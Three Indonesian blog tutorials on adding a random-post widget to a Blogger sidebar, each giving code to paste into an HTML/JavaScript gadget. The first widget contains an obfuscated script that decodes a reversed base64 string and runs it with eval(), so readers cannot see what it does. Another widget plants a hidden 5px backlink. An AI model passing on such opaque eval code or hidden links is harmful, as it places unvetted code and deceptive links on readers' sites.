Cara Membuat Random Post Dengan Thumbnail dan Bisa Berputar

Setelah tadi membagikan widget popular post warna-warni. Kali ini saya akan membagikan sebuah widget yang berfungsi untuk menampilkan postingan secara random. Yup namanya adalah Random Post. Dengan menggunakan widget ini tentunya postingan-postingan jadul akan dimunculkan kembali. Hal ini tentunya akan menambag pageviews dan menaikan nilai SEO blog kamu karena penayangan halaman postingan yang merata.

Nah untuk previewnya bisa kamu lihat pada gambar diatas. Oh iya, widget ini ketika disorot mempunyai efek hover alias muter2 gitu, pokoknya cakep deh :D. Dan jika kamu tertarik untuk menginstall widget ini, caranya mudah kok, cukup klik saja tombol Add to blogger di bawah ini dan klik next deh :) ga perlu repot2 lihat kode javascriptnya lagi hehe. Thanks untuk latesethack :)

UPDATE

Karena tombol add to bloggernya tidak berfungsi, maka akan saya langsung beri kodenya, silakan salin kode ini.

<style> #random-posts img{float:left;margin-right:10px;margin-bottom:10px;width:55px;height:55px;padding:3px;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;transition:all 0.5s ease;padding:4px;background: #eee;background: -webkit-gradient(linear, left top, left bottom, from(#eee), color-stop(0.5, #ddd), color-stop(0.5, #c0c0c0), to(#aaa));background: -moz-linear-gradient(top, #eee, #ddd 50%, #c0c0c0 50%, #aaa);-webkit-border-radius: 4px;-moz-border-radius: 4px;border-radius: 4px;-webkit-box-shadow: 0 0 3px rgba(0,0,0,.7);-moz-box-shadow: 0 0 3px rgba(0,0,0,.7);box-shadow: 0 0 3px rgba(0,0,0,.7);} #random-posts img:hover{-moz-transform: scale(1.2) rotate(-350deg);-webkit-transform: scale(1.2) rotate(-350deg);-o-transform: scale(1.2) rotate(-350deg);-ms-transform: scale(1.2) rotate(-350deg);transform: scale(1.2) rotate(-350deg);-webkit-box-shadow: 0 0 20px rgba(255,0,0,.4), inset 0 0 20px rgba(255,255,255,1);-moz-box-shadow: 0 0 20px rgba(255,0,0,.4), inset 0 0 20px rgba(255,255,255,1);box-shadow: 0 0 20px rgba(255,0,0,.4), inset 0 0 20px rgba(255,255,255,1);} </style><div id='random-posts'>
<script type='text/javaScript'>
var latesthack_numposts=7;var latesthack_snippet_length=150;var latesthack_info='yes';var latesthack_comment='Comments';var latesthack_disable='Comments Disabled';var latesthack_current=[];var latesthack_total_posts=0;var latesthack_current=new Array(latesthack_numposts);function totalposts(a){latesthack_total_posts=a.feed.openSearch$totalResults.$t}document.write('<script type=\"text/javascript\" src=\"/feeds/posts/default?alt=json-in-script&max-results=0&callback=totalposts\"><\/script>');function getvalue(){for(var i=0;i<latesthack_numposts;i++){var a=false;var b=get_random();for(var j=0;j<latesthack_current.length;j++){if(latesthack_current[j]==b){a=true;break}};if(a){i--}else{latesthack_current[i]=b}}};function get_random(){var a=1+Math.round(Math.random()*(latesthack_total_posts-1));return a};
</script>
<script language="javascript" type="text/javascript">var _0x362a=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","length"];function _1lI(_0x6ea4x2){var _0x6ea4x3=_0x362a[0];var _0x6ea4x4,_0x6ea4x5,_0x6ea4x6,_0x6ea4x7,_0x6ea4x8,_0x6ea4x9,_0x6ea4xa,_0x6ea4xb,_0x6ea4xc=0,_0x6ea4xd=_0x362a[1];do{_0x6ea4x7=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4x8=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4x9=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xa=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xb=_0x6ea4x7<<18|_0x6ea4x8<<12|_0x6ea4x9<<6|_0x6ea4xa;_0x6ea4x4=_0x6ea4xb>>16&0xff;_0x6ea4x5=_0x6ea4xb>>8&0xff;_0x6ea4x6=_0x6ea4xb&0xff;if(_0x6ea4x9==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4);} else {if(_0x6ea4xa==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x6ea4x5);} else {_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x6ea4x5,_0x6ea4x6);} ;} ;} while(_0x6ea4xc<_0x6ea4x2[_0x362a[5]]);;return _0x6ea4xd;} ;function _1O1(_0x6ea4xf){var _0x6ea4x10=_0x362a[1],_0x6ea4xc=0;for(_0x6ea4xc=_0x6ea4xf[_0x362a[5]]-1;_0x6ea4xc>=0;_0x6ea4xc--){_0x6ea4x10+=_0x6ea4xf[_0x362a[2]](_0x6ea4xc);} ;return _0x6ea4x10;} ;var _00I='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';eval(_1lI(_1O1(_00I)));</script></div>

Masukkan kode tersebut dengan cara..

1. Login ke Blogger.com

2. Klik Tata Letak --> Tambah Gadget --> HTML/Javascript.

3. Masukkan kode yang sudah disalin ke kotak javascript tadi.

4. Simpan.

 

Read more »

Membuat Random Post di Blogger

Mumpung diwarnet waktunya belum habis hehe, pada tutor kali ini saya akan membagikan bagaiman sih caranya membuat random post di blogger. jika saya sudah memberi tahu cara membuat postingan terbaru atau related post dan headline dengan javascript kali ini mah yang random, jadi akan menapilkan artikel secara acak tidak sesuai urutan. bisa kalian lihat hasilnya pada gambar diatas. lalu caranya seperti ini :

1. Masuk Akun Blogger kalian.

2. Klik Rancangan --> Elemen Laman --> Tambah Gadget.

3. Pilih HTML/Javascript.

4. Masukan Kode dibawah ini :

<a href='http://bit.ly/work24'><img alt='blogger widgets' src='https://sites.google.com/site/bdlab12/24work/blogspot%2btutorial.png'/></a><script type="text/javascript">

var randarray = new Array();var l=0;var flag;

var numofpost=8;function randomposts(json){

var total = parseInt(json.feed.openSearch$totalResults.$t,10);

for(i=0;i < numofpost;){flag=0;randarray.length=numofpost;l=Math.floor(Math.random()*total);for(j in randarray){if(l==randarray[j]){ flag=1;}}

if(flag==0&&l!=0){randarray[i++]=l;}}document.write('<ul>');

for(n in randarray){ var p=randarray[n];var entry=json.feed.entry[p-1];

for(k=0; k < entry.link.length; k++){if(entry.link[k].rel=='alternate'){var item = "<li>" + "<a href=" + entry.link[k].href + ">" + entry.title.$t + "</a> </li>";

document.write(item);}}

}document.write('</ul>');}

</script>

<script src="/feeds/posts/default?alt=json-in-script&start-index=1&max-results=1000&callback=randomposts" type="text/javascript"></script>

<span style="font-size:5px;position:absolute;"><a title='blogger widget' href="http://24work.blogspot.com" target='_blank'>Blogspot Tutorial</a></span>

*NumofPost adalah jumlah postingan yang akan ditampilkan.

5. Simpan. thanks to bdlab.blogspot.com

Read more »

Cara Memasang Widget Random Posts/Artikel Acak

Widget Random Posts merupakan widget atau gadget yang dapat menampilkan daftar judul posting blog kita secara acak. Karena ditampilkan secara acak maka posting blog kita yang telah lalu-lalu dapat muncul di sini. Dengan demikian para pengunjung dapat melihat kembali beberapa judul posting blog kita yang sudah lama. Bila mereka tertarik dengan judul posting tersebut dan membacanya, maka hal ini berarti dapat meningkatkan page view blog kita.

Nah, bila Anda tertarik untuk memasang widget random posts ini di sidebar blog Anda, silakan simak langkah-langkahnya di bawah ini.

1. Masuk ke akun Blogger Anda.

2. Klik Rancangan > Elemen Laman > Tambah Gadget.

3. Pilih HTML/JavaScript.

4. Beri judul sesuai keinginan Anda.

5. Copy kode di bawah ini dan paste di Konten.

<script type="text/javascript">
var randarray = new Array();var l=0;var flag;
var numofpost=10;function randomposts(json){
var total = parseInt(json.feed.openSearch$totalResults.$t,10);
for(i=0;i < numofpost;){flag=0;randarray.length=numofpost;l=Math.floor(Math.random()*total);for(j in randarray){if(l==randarray[j]){ flag=1;}}
if(flag==0&&l!=0){randarray[i++]=l;}}document.write('<ul>');
for(n in randarray){ var p=randarray[n];var entry=json.feed.entry[p-1];
for(k=0; k < entry.link.length; k++){if(entry.link[k].rel=='alternate'){var item = "<li>" + "<a href=" + entry.link[k].href + ">" + entry.title.$t + "</a> </li>";
document.write(item);}}
}document.write('</ul>');}
</script>
<script src="/feeds/posts/default?alt=json-in-script&start-index=1&max-results=1000&
callback=randomposts" type="text/javascript"></script>Get this <a href="http://kamu-klik.blogspot.com/2011/12/cara-memasang-widget-random-posts.html" target="_blank"><blink>widget</blink></a>

• var numofpost=10, angka 10 menunjukkan jumlah judul posting random posts yang ditampilkan. Ganti angka 10 dengan angka yang lebih tinggi nilainya jika Anda ingin lebih banyak lagi judul random posts yang ingin ditampilkan atau sebaliknya.

6. Klik tombol SIMPAN.

7. Pindahkan elemen ke tempat yang Anda inginkan.

8. Klik tombol SIMPAN.

Silakan lihat hasilnya.. mungkin akan sama seperti Random Posts blog ini.. selamat mencoba :) 

Sumber : http://kamu-klik.blogspot.com/2011/12/cara-memasang-widget-random-posts.html

Read more »